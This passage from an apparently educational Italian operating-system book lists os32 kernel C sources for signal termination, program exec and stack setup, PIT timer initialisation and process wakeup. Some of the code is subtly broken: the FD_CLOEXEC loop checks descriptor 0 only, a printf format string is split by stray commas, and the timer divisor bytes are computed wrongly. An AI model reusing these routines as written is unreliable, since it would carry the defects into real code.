2230021                 proc_table[pid].status = PROC_SLEEPING;
2230022                 proc_table[pid].ret    = -sig;
2230023                 proc_sig_off (pid, sig);
2230024               }
2230025           }
2230026       }
2230027 }
```

119.13.21 kernel/proc/proc_sig_term.c

Si veda la sezione 118.14.20.

```
2240001 #include <kernel/proc.h>
2240002 #include <kernel/lib_s.h>
2240003 #include <kernel/lib_k.h>
2240004 //----------------------------------------------------------------------
2240005 void
2240006 proc_sig_term (pid_t pid, int sig)
2240007 {
2240008     if (proc_sig_status (pid, sig))
2240009       {
2240010         if (proc_sig_ignore (pid, sig) && !(sig == SIGKILL))
2240011           {
2240012             proc_sig_off (pid, sig);
2240013           }
2240014         else
2240015           {
```

```
2240016                 if ((proc_table[pid].sig_handler[sig] != (uintptr_t) NULL)
2240017                     && (sig != SIGKILL))
2240018                   {
2240019                     proc_sig_handler (pid, sig);
2240020                   }
2240021                 else
2240022                   {
2240023                     //
2240024                     // The signal, translated to negative, is returned (but
2240025                     // the effective value received by the application will
2240026                     // be cutted, leaving only the low 8 bit).
2240027                     //
2240028                     s__exit (pid, -sig);
2240029                   }
2240030               }
2240031           }
2240032   }
```

119.13.22 kernel/proc/proc_sys_exec.c

Si veda la sezione 118.14.21.

```
2250001 #include <kernel/ibm_i386.h>
2250002 #include <kernel/proc.h>
2250003 #include <errno.h>
2250004 #include <fcntl.h>
2250005 #include <kernel/lib_s.h>
2250006 #include <kernel/lib_k.h>
2250007 //----------------------------------------------------------------------
2250008 #define DEBUG 0
2250009 //----------------------------------------------------------------------
2250010 int
2250011 proc_sys_exec (pid_t pid, const char *path,
2250012                unsigned int argc, char *arg_data,
2250013                unsigned int envc, char *env_data)
2250014 {
2250015     unsigned int      i;
2250016     unsigned int      j;
2250017     char             *arg;
2250018     char             *env;
2250019     char             *envp[ARG_MAX/16];
2250020     char             *argv[ARG_MAX/16];
2250021     size_t            size;
2250022     size_t            arg_data_size;
2250023     size_t            env_data_size;
2250024     unsigned int      p_off;
2250025     inode_t          *inode;
2250026     ssize_t           size_read;
2250027     header_t          header;
2250028     uint32_t          new_sp;
2250029     uint32_t          envp_address;
```

```
2250030     uint32_t          argv_address;
2250031     addr_t            allocated_text;
2250032     addr_t            allocated_data;
2250033     addr_t            stack_location;          // real stack location.
2250034     size_t            process_domain_text;
2250035     size_t            process_domain_data;
2250036     size_t            process_domain_stack;
2250037     addr_t            previous_address_text;
2250038     addr_t            previous_address_data;
2250039     size_t            previous_domain_text;
2250040     size_t            previous_domain_data;
2250041     size_t            previous_domain_stack;
2250042     size_t            previous_extra_data;
2250043     uint32_t          segment_text;            // Segment descriptors
2250044     uint32_t          segment_data;            // inside 32 bit int.
2250045     char              buffer[MEM_BLOCK_SIZE];
2250046     uint32_t          stack_element;
2250047     off_t             off_inode;
2250048     addr_t            memory_start;
2250049     int               status;
2250050     pid_t             extra;
2250051     int               proc_count;
2250052     file_t           *file;
2250053     int               fdn;
2250054     dev_t             device;
2250055     int               eof;
2250056     int               sig;
2250057     //
2250058     // Check for limits.
2250059     //
2250060     if (argc > (ARG_MAX/16) || envc > (ARG_MAX/16))
2250061       {
2250062         errset (ENOMEM);
2250063         return (-1);
2250064       }
2250065     //
2250066     // Scan arguments to calculate the full size and the relative
2250067     // pointers. The final size is rounded to 4, for the stack.
2250068     //
2250069     arg = arg_data;
2250070     for (i = 0, j = 0; i < argc; i++)
2250071       {
2250072         argv[i] = (char *) j; // Relative pointer inside the 'arg_data'.
2250073         size = strlen (arg);
2250074         arg += size + 1;
2250075         j += size + 1;
2250076       }
2250077     arg_data_size = j;
2250078     if (arg_data_size % 2)
2250079       {
2250080         arg_data_size++;
2250081       }
```

```
2250082        if (arg_data_size % 4)
2250083          {
2250084            arg_data_size += 2;
2250085          }
2250086        //
2250087        // Scan environment variables to calculate the full size and the
2250088        // relative pointers. The final size is rounded to 4, for the stack.
2250089        //
2250090        env = env_data;
2250091        for (i = 0, j = 0; i < envc; i++)
2250092          {
2250093            envp[i] = (char *) j; // Relative pointer inside the 'env_data'.
2250094            size = strlen (env);
2250095            env += size + 1;
2250096            j += size + 1;
2250097          }
2250098        env_data_size = j;
2250099        if (env_data_size % 2)
2250100          {
2250101            env_data_size++;
2250102          }
2250103        if (env_data_size % 4)
2250104          {
2250105            env_data_size += 2;
2250106          }
2250107        //
2250108        // Read the inode related to the executable file name.
2250109        // Function path_inode() includes the inode get procedure.
2250110        //
2250111        inode = path_inode (pid, path);
2250112        if (inode == NULL)
2250113          {
2250114            errset (ENOENT);         // No such file or directory.
2250115            return (-1);
2250116          }
2250117        //
2250118        // Check for permissions.
2250119        //
2250120        status = inode_check (inode, S_IFREG, 5, proc_table[pid].euid,
2250121                              proc_table[pid].egid);
2250122        if (status != 0)
2250123          {
2250124            //
2250125            // File is not of a valid type or permission are not
2250126            // sufficient: release the executable file inode
2250127            // and return with an error.
2250128            //
2250129            inode_put (inode);
2250130            errset (EACCES);         // Permission denied.
2250131            return (-1);
2250132          }
2250133        //
```

```
2250134     // Read the header from the executable file.
2250135     //
2250136     size_read = inode_file_read (inode, (off_t) 0, &header,
2250137                                  (sizeof header), &eof);
2250138     if (size_read != (sizeof header))
2250139       {
2250140         //
2250141         // The file is shorter than the executable header, so, it isn't
2250142         // an executable: release the file inode and return with an
2250143         // error.
2250144         //
2250145         inode_put (inode);
2250146         errset (ENOEXEC);
2250147         return (-1);
2250148       }
2250149     //
2250150     // Size read is ok.
2250151     //
2250152     if (header.magic != MAGIC_OS32_APPL)
2250153       {
2250154         //
2250155         // The header does not have the expected magic numbers, so,
2250156         // it isn't a valid executable: release the file inode and
2250157         // return with an error.
2250158         //
2250159         inode_put (inode);
2250160         errset (ENOEXEC);
2250161         return (-1);    // This is not a valid executable!
2250162       }
2250163     //
2250164     // Calculate code size.
2250165     //
2250166     if (header.data_offset == 0)
2250167       {
2250168         process_domain_text = header.ebss + header.ssize;
2250169       }
2250170     else
2250171       {
2250172         process_domain_text = header.data_offset;
2250173       }
2250174     //
2250175     if (process_domain_text % 4096)
2250176       {
2250177         process_domain_text = (((process_domain_text / 4096) +1)
2250178                               * 4096);
2250179       }
2250180     //
2250181     // Calculate data size, including stack, that cannot stay alone!
2250182     //
2250183     process_domain_stack = header.ssize;
2250184     //
2250185     if (header.data_offset == 0)
```

```
2250186           {
2250187             process_domain_data = 0;
2250188           }
2250189         else
2250190           {
2250191             process_domain_data = (header.ebss + header.ssize);
2250192           }
2250193         //
2250194         if (process_domain_data % 4096)
2250195           {
2250196             process_domain_data = (((process_domain_data / 4096) +1)
2250197                                    * 4096);
2250198           }
2250199         //
2250200         // Place the new stack pointer to the bottom of the data area:
2250201         // the stack pointer is relative to the data area, so the last
2250202         // relative position is equal to the size.
2250203         //
2250204         if (header.data_offset == 0)
2250205           {
2250206             new_sp = process_domain_text;
2250207           }
2250208         else
2250209           {
2250210             new_sp = process_domain_data;
2250211           }
2250212         //
2250213         // Allocate memory: code and data.
2250214         //
2250215         allocated_text = mb_alloc_size (process_domain_text);
2250216         //
2250217         if (allocated_text == 0)
2250218           {
2250219             //
2250220             // The program instructions (code segment) cannot be loaded
2250221             // into memory: release the executable file inode and return
2250222             // with an error.
2250223             //
2250224             inode_put (inode);
2250225             errset (ENOMEM);        // Not enough space.
2250226             return (-1);
2250227           }
2250228         else if (DEBUG)
2250229           {
2250230             k_printf ("%s:%i:mb_alloc_size(%zi)", __FILE__, __LINE__,
2250231                       (unsigned int) process_domain_text);
2250232           }
2250233         //
2250234         //
2250235         //
2250236         if (header.data_offset == 0)
2250237           {
```

```
2250238             //
2250239             // Code and data segments are the same: no need
2250240             // to allocate more memory for the data segment.
2250241             //
2250242             allocated_data = 0;
2250243             process_domain_data = 0;
2250244           }
2250245         else
2250246           {
2250247             //
2250248             // Code and data segments are different: the data
2250249             // segment memory is allocated.
2250250             //
2250251             allocated_data = mb_alloc_size (process_domain_data);
2250252             if (allocated_data == 0)
2250253               {
2250254                 //
2250255                 // The separated program data (data segment) cannot be
2250256                 // loaded into memory: free the already allocated memory
2250257                 // for the program instructions, release the executable
2250258                 // file inode and return with an error.
2250259                 //
2250260                 mb_free (allocated_text, process_domain_text);
2250261                 if (DEBUG)
2250262                   {
2250263                     k_printf ("%s:%i:mb_free(%i, %zi)", __FILE__, __LINE__,
2250264                               (unsigned int) allocated_text,
2250265                               process_domain_data);
2250266                   }
2250267                 inode_put (inode);
2250268                 errset (ENOMEM);        // Not enough space.
2250269                 return (-1);
2250270               }
2250271             else if (DEBUG)
2250272               {
2250273                 k_printf ("%s:%i:mb_alloc_size(%zi)", __FILE__, __LINE__,
2250274                           process_domain_data);
2250275               }
2250276           }
2250277         //
2250278         // Load executable in memory.
2250279         //
2250280         if (header.data_offset == 0)
2250281           {
2250282             //
2250283             // Code and data share the same segment.
2250284             //
2250285             for (eof = 0, memory_start = allocated_text,
2250286                  off_inode = 0, size_read = 0;
2250287                  off_inode < inode->size && !eof;
2250288                  off_inode += size_read)
2250289               {
```

```
2250290                 memory_start += size_read;
2250291                 //
2250292                 // Read a block of memory.
2250293                 //
2250294                 size_read = inode_file_read (inode, off_inode,
2250295                                              buffer, MEM_BLOCK_SIZE, &eof);
2250296                 if (size_read < 0)
2250297                   {
2250298                     //
2250299                     // Free memory and inode.
2250300                     //
2250301                     mb_free (allocated_text, process_domain_text);
2250302                     if (DEBUG)
2250303                       {
2250304                         k_printf ("%s:%i:mb_free(%i, %zi)",
2250305                                   __FILE__, __LINE__,
2250306                                   (unsigned int) allocated_text,
2250307                                   process_domain_text);
2250308                       }
2250309                     inode_put (inode);
2250310                     errset (EIO);
2250311                     return (-1);
2250312                   }
2250313                 //
2250314                 // Copy inside the right position to be executed.
2250315                 //
2250316                 dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE, memory_start, buffer,
2250317                         (size_t) size_read, NULL);
2250318               }
2250319           }
2250320         else
2250321           {
2250322             //
2250323             // Code and data with different segments.
2250324             //
2250325             for (eof = 0, memory_start = allocated_text,
2250326                  off_inode = 0, size_read = 0;
2250327                  off_inode < process_domain_text && !eof;
2250328                  off_inode += size_read)
2250329               {
2250330                 memory_start += size_read;
2250331                 //
2250332                 // Read a block of memory
2250333                 //
2250334                 size_read = inode_file_read (inode, off_inode,
2250335                                              buffer, MEM_BLOCK_SIZE, &eof);
2250336                 if (size_read < 0)
2250337                   {
2250338                     //
2250339                     // Free memory and inode.
2250340                     //
2250341                     mb_free (allocated_text, process_domain_text);
```

```
2250342                 if (DEBUG)
2250343                   {
2250344                     k_printf ("%s:%i:mb_free(%i, %zi)",
2250345                               __FILE__, __LINE__,
2250346                               (unsigned int) allocated_text,
2250347                               process_domain_text);
2250348                   }
2250349                 mb_free (allocated_data, process_domain_data);
2250350                 if (DEBUG)
2250351                   {
2250352                     k_printf ("%s:%i:mb_free(%i, %zi)",
2250353                               __FILE__, __LINE__,
2250354                               (unsigned int) allocated_data,
2250355                               process_domain_data);
2250356                   }
2250357                 inode_put (inode);
2250358                 errset (EIO);
2250359                 return (-1);
2250360               }
2250361             //
2250362             // Copy inside the right position to be executed.
2250363             //
2250364             dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE, memory_start, buffer,
2250365                     (size_t) size_read, NULL);
2250366           }
2250367         for (eof = 0, memory_start = allocated_data,
2250368              off_inode = header.data_offset, size_read = 0;
2250369              off_inode < inode->size && !eof;
2250370              off_inode += size_read)
2250371           {
2250372             memory_start += size_read;
2250373             //
2250374             // Read a block of memory
2250375             //
2250376             size_read = inode_file_read (inode, off_inode,
2250377                                          buffer, MEM_BLOCK_SIZE, &eof);
2250378             if (size_read < 0)
2250379               {
2250380                 //
2250381                 // Free memory and inode.
2250382                 //
2250383                 mb_free (allocated_text, process_domain_text);
2250384                 if (DEBUG)
2250385                   {
2250386                     k_printf ("%s:%i:mb_free(%i, %zi)",
2250387                               __FILE__, __LINE__,
2250388                               (unsigned int) allocated_text,
2250389                               process_domain_text);
2250390                   }
2250391                 mb_free (allocated_data, process_domain_data);
2250392                 if (DEBUG)
2250393                   {
```

```
2250394                     k_printf ("%s:%i:mb_free(%i, %zi)",
2250395                               __FILE__, __LINE__,
2250396                               (unsigned int) allocated_data,
2250397                               process_domain_data);
2250398                   }
2250399                 inode_put (inode);
2250400                 errset (EIO);
2250401                 return (-1);
2250402               }
2250403             dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE, memory_start, buffer,
2250404                     (size_t) size_read, NULL);
2250405           }
2250406       }
2250407     //
2250408     // The executable file was successfully loaded in memory:
2250409     // release the executable file inode.
2250410     //
2250411     inode_put (inode);
2250412     //
2250413     // Update process TEXT segment inside the GDT table.
2250414     //
2250415     gdt_segment (gdt_pid_to_segment_text (pid),
2250416                  (uint32_t) allocated_text,
2250417                  (uint32_t) (process_domain_text/4096),
2250418                   1, 1, 0);
2250419     //
2250420     // Update process DATA segment inside the GDT table.
2250421     //
2250422     if (process_domain_data > 0)
2250423       {
2250424         gdt_segment (gdt_pid_to_segment_data (pid),
2250425                      (uint32_t) allocated_data,
2250426                      (uint32_t) (process_domain_data/4096),
2250427                       1, 0, 0);
2250428       }
2250429     else
2250430       {
2250431         gdt_segment (gdt_pid_to_segment_data (pid),
2250432                      (uint32_t) allocated_text,
2250433                      (uint32_t) (process_domain_text/4096),
2250434                       1, 0, 0);
2250435       }
2250436     //
2250437     // Calculate segment descriptors.
2250438     //
2250439     segment_text  = (gdt_pid_to_segment_text (pid)  << 3) + 0;
2250440     segment_data  = (gdt_pid_to_segment_data (pid)  << 3) + 0;
2250441     //
2250442     // Where is the stack?
2250443     //
2250444     if (process_domain_data > 0)
2250445       {
```

```
2250446             stack_location = allocated_data;
2250447           }
2250448         else
2250449           {
2250450             stack_location = allocated_text;
2250451           }
2250452         //
2250453         // Put environment data inside the stack.
2250454         //
2250455         new_sp -= env_data_size; //---------------------------- environment
2250456         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250457                 (off_t) (stack_location + new_sp),
2250458                 env_data, env_data_size, NULL);
2250459         //
2250460         // Put arguments data inside the stack.
2250461         //
2250462         new_sp -= arg_data_size; //------------------------------ arguments
2250463         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250464                 (off_t) (stack_location + new_sp),
2250465                 arg_data, arg_data_size, NULL);
2250466         //
2250467         // Put envp[] inside the stack, updating all the pointers.
2250468         //
2250469         new_sp -= 4; //----------------------------------------------- NULL
2250470         stack_element = (uint32_t) NULL;
2250471         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250472                 (off_t) (stack_location + new_sp),
2250473                 &stack_element, (sizeof stack_element), NULL);
2250474         //
2250475         p_off  = new_sp;             //
2250476         p_off += 4;                  // Calculate memory pointers from
2250477         p_off += arg_data_size;      // original relative pointers,
2250478         for (i = 0; i < envc; i++)   // inside the environment array
2250479           {                          // of pointers.
2250480             envp[i] += p_off;        //
2250481           }                          //
2250482         //
2250483         new_sp -= (envc * (sizeof (char *))); //-------------------- *envp[]
2250484         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250485                 (off_t) (stack_location + new_sp),
2250486                 envp, (envc * (sizeof (char *))), NULL);
2250487         //
2250488         // Save the envp[] location, needed in the following.
2250489         //
2250490         envp_address = new_sp;
2250491         //
2250492         // Put argv[] inside the stack, updating all the pointers.
2250493         //
2250494         new_sp -= 4; //----------------------------------------------- NULL
2250495         stack_element = (uint32_t) NULL;
2250496         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250497                 (off_t) (stack_location + new_sp),
```

```
2250498                 &stack_element, (sizeof stack_element), NULL);
2250499         //
2250500         p_off  = new_sp;                        //
2250501         p_off += 4;                             // Calculate memory pointers
2250502         p_off += (envc * (sizeof (char *)));  // from original relative
2250503         p_off += 4;                             // pointers, inside the
2250504         for (i = 0; i < argc; i++)             // arguments array of
2250505           {                                     // pointers.
2250506             argv[i] += p_off;                   //
2250507           }                                     //
2250508         //
2250509         new_sp -= (argc * (sizeof (char *))); //-------------------- *argv[]
2250510         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250511                 (off_t) (stack_location + new_sp),
2250512                 argv, (argc * (sizeof (char *))), NULL);
2250513         //
2250514         // Save the argv[] location, needed in the following.
2250515         //
2250516         argv_address = new_sp;
2250517         //
2250518         // Put the pointer to the array envp[].
2250519         //
2250520         new_sp -= 4; //-------------------------------------------------- argc
2250521         stack_element = envp_address;
2250522         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250523                 (off_t) (stack_location + new_sp),
2250524                 &stack_element, (sizeof stack_element), NULL);
2250525         //
2250526         // Put the pointer to the array argv[].
2250527         //
2250528         new_sp -= 4; //-------------------------------------------------- argc
2250529         stack_element = argv_address;
2250530         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250531                 (off_t) (stack_location + new_sp),
2250532                 &stack_element, (sizeof stack_element), NULL);
2250533         //
2250534         // Put argc inside the stack.
2250535         //
2250536         new_sp -= 4; //-------------------------------------------------- argc
2250537         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250538                 (off_t) (stack_location + new_sp),
2250539                 &argc, (sizeof argc), NULL);
2250540         //
2250541         // Set the rest of the stack.
2250542         //
2250543         new_sp -= 4; //------------------------------------------------ EFLAGS
2250544         stack_element = 0x0200;
2250545         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250546                 (off_t) (stack_location + new_sp),
2250547                 &stack_element, (sizeof stack_element), NULL);
2250548         new_sp -= 4; //---------------------------------------------------- CS
2250549         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
```

```
2250550             (off_t) (stack_location + new_sp),
2250551             &segment_text, (sizeof segment_text), NULL);
2250552     new_sp -= 4; //------------------------------------------------- EIP
2250553     stack_element = 0;
2250554     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250555             (off_t) (stack_location + new_sp),
2250556             &stack_element, (sizeof stack_element), NULL);
2250557     new_sp -= 4; //-------------------------------------------------- GS
2250558     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250559             (off_t) (stack_location + new_sp),
2250560             &segment_data, (sizeof segment_data), NULL);
2250561     new_sp -= 4; //-------------------------------------------------- FS
2250562     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250563             (off_t) (stack_location + new_sp),
2250564             &segment_data, (sizeof segment_data), NULL);
2250565     new_sp -= 4; //-------------------------------------------------- ES
2250566     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250567             (off_t) (stack_location + new_sp),
2250568             &segment_data, (sizeof segment_data), NULL);
2250569     new_sp -= 4; //-------------------------------------------------- DS
2250570     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250571             (off_t) (stack_location + new_sp),
2250572             &segment_data, (sizeof segment_data), NULL);
2250573     new_sp -= 4; //------------------------------------------------- EDI
2250574     stack_element = 0;
2250575     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250576             (off_t) (stack_location + new_sp),
2250577             &stack_element, (sizeof stack_element), NULL);
2250578     new_sp -= 4; //------------------------------------------------- ESI
2250579     stack_element = 0;
2250580     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250581             (off_t) (stack_location + new_sp),
2250582             &stack_element, (sizeof stack_element), NULL);
2250583     new_sp -= 4; //------------------------------------------------- EBP
2250584     stack_element = 0;
2250585     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250586             (off_t) (stack_location + new_sp),
2250587             &stack_element, (sizeof stack_element), NULL);
2250588     new_sp -= 4; //------------------------------------------------- EBX
2250589     stack_element = 0;
2250590     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250591             (off_t) (stack_location + new_sp),
2250592             &stack_element, (sizeof stack_element), NULL);
2250593     new_sp -= 4; //------------------------------------------------- EDX
2250594     stack_element = 0;
2250595     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250596             (off_t) (stack_location + new_sp),
2250597             &stack_element, (sizeof stack_element), NULL);
2250598     new_sp -= 4; //------------------------------------------------- ECX
2250599     stack_element = 0;
2250600     dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250601             (off_t) (stack_location + new_sp),
```

```
2250602                 &stack_element, (sizeof stack_element), NULL);
2250603         new_sp -= 4; //---------------------------------------------------- EAX
2250604         stack_element = 0;
2250605         dev_io ((pid_t) 0, DEV_MEM, DEV_WRITE,
2250606                 (off_t) (stack_location + new_sp),
2250607                 &stack_element, (sizeof stack_element), NULL);
2250608         //
2250609         // Close process file descriptors, if the ‘FD_CLOEXEC’ flag
2250610         // is present.
2250611         //
2250612         for (fdn = 0; fdn < OPEN_MAX; fdn++)
2250613           {
2250614             if (proc_table[pid].fd[0].file != NULL)
2250615               {
2250616                 if (proc_table[pid].fd[0].fd_flags & FD_CLOEXEC)
2250617                   {
2250618                     s_close (pid, fdn);
2250619                   }
2250620               }
2250621           }
2250622         //
2250623         // Select device for standard I/O, if a standard I/O stream must be
2250624         // opened.
2250625         //
2250626         if (proc_table[pid].device_tty != 0)
2250627           {
2250628             device = proc_table[pid].device_tty;
2250629           }
2250630         else
2250631           {
2250632             device = DEV_TTY;
2250633           }
2250634         //
2250635         // Prepare missing standard file descriptors. The function
2250636         // ‘file_stdio_dev_make()’ arranges the value for ‘errno’ if
2250637         // necessary. If a standard file descriptor cannot be allocated,
2250638         // the program is left without it.
2250639         //
2250640         if (proc_table[pid].fd[0].file == NULL)
2250641           {
2250642             file = file_stdio_dev_make (device, S_IFCHR, O_RDONLY);
2250643             if (file != NULL)                                   // stdin
2250644               {
2250645                 proc_table[pid].fd[0].fl_flags     = O_RDONLY;
2250646                 proc_table[pid].fd[0].fd_flags     = 0;
2250647                 proc_table[pid].fd[0].file         = file;
2250648                 proc_table[pid].fd[0].file->offset = 0;
2250649               }
2250650           }
2250651         if (proc_table[pid].fd[1].file == NULL)
2250652           {
2250653             file = file_stdio_dev_make (device, S_IFCHR, O_WRONLY);
```

```
2250654             if (file != NULL)                                   // stdout
2250655               {
2250656                 proc_table[pid].fd[1].fl_flags     = O_WRONLY;
2250657                 proc_table[pid].fd[1].fd_flags     = 0;
2250658                 proc_table[pid].fd[1].file         = file;
2250659                 proc_table[pid].fd[1].file->offset = 0;
2250660               }
2250661           }
2250662         if (proc_table[pid].fd[2].file == NULL)
2250663           {
2250664             file = file_stdio_dev_make (device, S_IFCHR, O_WRONLY);
2250665             if (file != NULL)                                   // stderr
2250666               {
2250667                 proc_table[pid].fd[2].fl_flags     = O_WRONLY;
2250668                 proc_table[pid].fd[2].fd_flags     = 0;
2250669                 proc_table[pid].fd[2].file         = file;
2250670                 proc_table[pid].fd[2].file->offset = 0;
2250671               }
2250672           }
2250673         //
2250674         // Prepare to switch
2250675         //
2250676         previous_address_text  = proc_table[pid].address_text;
2250677         previous_domain_text   = proc_table[pid].domain_text;
2250678         previous_address_data  = proc_table[pid].address_data;
2250679         previous_domain_data   = proc_table[pid].domain_data;
2250680         previous_domain_stack  = proc_table[pid].domain_stack;
2250681         previous_extra_data    = proc_table[pid].extra_data;
2250682         //
2250683         proc_table[pid].address_text  = allocated_text;
2250684         proc_table[pid].domain_text   = process_domain_text;
2250685         proc_table[pid].address_data  = allocated_data;
2250686         proc_table[pid].domain_data   = process_domain_data;
2250687         proc_table[pid].domain_stack  = process_domain_stack;
2250688         proc_table[pid].extra_data    = (size_t) 0;
2250689         proc_table[pid].sp            = new_sp;
2250690         strncpy (proc_table[pid].name, path, PATH_MAX);
2250691         //
2250692         // Ensure to have a terminated string.
2250693         //
2250694         proc_table[pid].name[PATH_MAX-1] = 0;
2250695         //
2250696         // Reset 'sig_handler[]'.
2250697         //
2250698         for (sig = 0; sig < MAX_SIGNALS; sig++)
2250699           {
2250700             proc_table[pid].sig_handler[sig] = (uintptr_t) NULL;
2250701           }
2250702         //
2250703         // Free previous data memory (included stack).
2250704         //
2250705         if (previous_domain_data > 0)
```

```
2250706         {
2250707           mb_free (previous_address_data,
2250708                    previous_domain_data + previous_extra_data);
2250709           if (DEBUG)
2250710             {
2250711               k_printf ("%s:%i:mb_free(%i, %zi)",
2250712                         __FILE__, __LINE__,
2250713                         (unsigned int) previous_address_data,
2250714                         previous_domain_data + previous_extra_data);
2250715             }
2250716         }
2250717       //
2250718       // Free code memory if not shared.
2250719       //
2250720       for (proc_count = 0, extra = 0; extra < PROCESS_MAX; extra++)
2250721         {
2250722           if (proc_table[extra].status == PROC_EMPTY   ||
2250723               proc_table[extra].status == PROC_ZOMBIE)
2250724             {
2250725               continue;
2250726             }
2250727           if (previous_address_text == proc_table[extra].address_text)
2250728             {
2250729               proc_count++;
2250730             }
2250731         }
2250732       if (proc_count == 0)
2250733         {
2250734           //
2250735           // The code segment can be released, because no other
2250736           // process is using it.
2250737           //
2250738           if (previous_domain_data > 0)
2250739             {
2250740               mb_free (previous_address_text,
2250741                        previous_domain_text + previous_extra_data);
2250742               if (DEBUG)
2250743                 {
2250744                   k_printf ("%s:%i:mb_free(%i, %zi)",
2250745                             __FILE__, __LINE__,
2250746                             (unsigned int) previous_address_text,
2250747                             previous_domain_text + previous_extra_data);
2250748                 }
2250749             }
2250750           else
2250751             {
2250752               mb_free (previous_address_text, previous_domain_text);
2250753               if (DEBUG)
2250754                 {
2250755                   k_printf ("%s:%i:mb_free(%i, %zi)",
2250756                             __FILE__, __LINE__,
2250757                             (unsigned int) previous_address_text,
```

```
2250758                             previous_domain_text);
2250759                 }
2250760             }
2250761       }
2250762     //
2250763     // Change the segment and the stack pointer, from the interrupt.
2250764     // [1] Anyway,the stack segment selector does not change.
2250765     //
2250766     proc_stack_segment_selector = segment_data; // [1]
2250767     proc_stack_pointer = proc_table[pid].sp;
2250768     //
2250769     //
2250770     //
2250771     return (0);
2250772 }
```

119.13.23 kernel/proc/proc_timer_init.c

Si veda la sezione 118.14.22.

```
2260001 #include <kernel/proc.h>
2260002 #include <stdint.h>
2260003 #include <kernel/lib_k.h>
2260004 #include <kernel/ibm_i386.h>
2260005 #include <stdint.h>
2260006 //----------------------------------------------------------------------
2260007 void
2260008 proc_timer_init (clock_t freq)
2260009 {
2260010     int input_freq = 1193180;
2260011     //
2260012     // La frequenza di riferimento è 1,19318 MHz, la quale va
2260013     // divisa per la frequenza che si intende avere effettivamente.
2260014     //
2260015     int divisor = input_freq / freq;
2260016     //
2260017     // Il risultato deve essere un valore intero maggiore di zero
2260018     // e inferiore di UINT16_MAX, altrimenti è stata chiesta una
2260019     // frequenza troppo elevata o troppo bassa.
2260020     //
2260021     if (divisor == 0 || divisor > UINT16_MAX)
2260022       {
2260023         k_printf ("[%s] ERROR: IRQ 0 frequency wrong: %i Hz!\n"
2260024                 "[%s]        The min allowed frequency is 18.22 Hz.\n",
2260025                 "[%s]        The max allowed frequency is 1.19 MHz.\n",
2260026                 __func__, freq, __func__, __func__);
2260027         return;
2260028       }
2260029     //
2260030     // Il valore che si ottiene, ovvero il «divisore», va
2260031     // comunicato al PIT (programmable interval timer),
```

```
2260032         // spezzandolo in due parti.
2260033         //
2260034         out_8 ((uint32_t) 0x43, (uint32_t) 0x36);
2260035         //
2260036         // Lower byte.
2260037         //
2260038         out_8 ((uint32_t) 0x40, (uint32_t) (divisor & 0x0F));
2260039         //
2260040         // Higher byte.
2260041         //
2260042         out_8 ((uint32_t) 0x40, (uint32_t) (divisor / 0x10));
2260043     }
```

119.13.24 kernel/proc/proc_wakeup_pipe_read.c

Si veda la sezione 118.14.23.

```
2270001     #include <kernel/proc.h>
2270002     //----------------------------------------------------------------------
2270003     void
2270004     proc_wakeup_pipe_read (inode_t *inode)
2270005     {
2270006         pid_t pid;
2270007
2270008         for (pid = 1; pid < PROCESS_MAX; pid++)
2270009           {
2270010             if (    (proc_table[pid].status == PROC_SLEEPING)
2270011                 && (  proc_table[pid].wakeup_events
2270012                         & WAKEUP_EVENT_PIPE_READ)
2270013                 && (proc_table[pid].wakeup_inode == inode))
2270014               {
2270015                 proc_table[pid].wakeup_events = 0;
2270016                 proc_table[pid].wakeup_inode  = NULL;
2270017                 proc_table[pid].status        = PROC_READY;
2270018               }
2270019           }
2270020     }
```

119.13.25 kernel/proc/proc_wakeup_pipe_write.c

Si veda la sezione 118.14.23.

```
2280001     #include <kernel/proc.h>
2280002     //----------------------------------------------------------------------
2280003     void
2280004     proc_wakeup_pipe_write (inode_t *inode)
2280005     {
2280006         pid_t pid;
2280007
```

```
2280008     for (pid = 1; pid < PROCESS_MAX; pid++)
2280009       {
2280010         if (   (proc_table[pid].status == PROC_SLEEPING)
2280011             && (  proc_table[pid].wakeup_events
2280012                     & WAKEUP_EVENT_PIPE_WRITE)
2280013             && (proc_table[pid].wakeup_inode == inode))
2280014           {
2280015             proc_table[pid].wakeup_events = 0;
2280016             proc_table[pid].wakeup_inode  = NULL;
2280017             proc_table[pid].status        = PROC_READY;
2280018           }
2280019       }
2280020 }
```

119.13.26 kernel/proc/proc_wakeup_terminal.c

Si veda la sezione 118.14.23.

```
2290001 #include <kernel/proc.h>
2290002 //----------------------------------------------------------------------
2290003 void
2290004 proc_wakeup_terminal (void)
2290005 {
2290006     pid_t pid;
2290007     //
2290008     // At the moment, all processes waiting for reading
2290009     // a terminal are reactivated.
2290010     //
2290011     for (pid = 0; pid < PROCESS_MAX; pid++)
2290012       {
2290013         if (   (proc_table[pid].status == PROC_SLEEPING)
2290014             && (proc_table[pid].wakeup_events & WAKEUP_EVENT_TTY))
2290015           {
2290016             //
2290017             // A process waiting for that terminal was found:
2290018             // remove the waiting event and set it ready.
2290019             //
2290020             proc_table[pid].wakeup_events &= ~WAKEUP_EVENT_TTY;
2290021             proc_table[pid].status = PROC_READY;
2290022           }
2290023       }
2290024 }
```

